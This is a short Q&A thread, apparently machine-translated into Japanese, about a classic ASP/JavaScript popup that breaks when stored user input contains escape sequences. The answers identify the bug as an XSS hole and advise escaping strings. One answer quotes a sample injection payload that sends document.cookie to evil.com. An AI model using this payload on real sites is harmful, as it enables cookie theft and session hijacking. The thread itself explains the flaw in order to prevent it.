2011-07-14 7 views
0

次の問題があります。ユーザーがデータを入力できるフォームがあります。 すべての種類のユーザーがいるため、ユーザーがエスケープシーケンス(たとえば、テキスト\ nテキスト)を入力しました。 このエントリはデータベースに挿入されています。ただし、ユーザはボタンをクリックしてポップアップウィンドウを開き、 が表示され、コメントを送信することができます。 エスケープシーケンスを含むものを除き、すべてのウィンドウはスムーズに動作しますが、開くことはできません。 これはJavaスクリプトを使用した古典的なASPです。誰も同じような問題を抱えていましたか?たぶんcharsetは問題ですか?エスケープシーケンスに問題があります - ページを開くことができません

答えて

0

あなたはXSSホールのより良質の問題を発見しました。

文字列をJavascriptでエスケープする必要があります。誰かが");document.location = "http://evil.com/?cookie=" + document.cookie;//

0

がSLaksと一緒に行くために入る前に

あなたは、このを実行する必要があります、非常に少なくとも

をエンコード(およびそれ以降のデコード)しescape(stringVariable)unescape(stringVariable)を使用するほとんどのXSS(クロスサイトスクリプティングの略)を防ぐのに役立つ特殊文字。 SLaksの例では、既存のCookie情報をコピーしながら、ユーザーを悪意のあるコードを注入して別のサイトにリダイレクトするユーザーを示しています。

関連する問題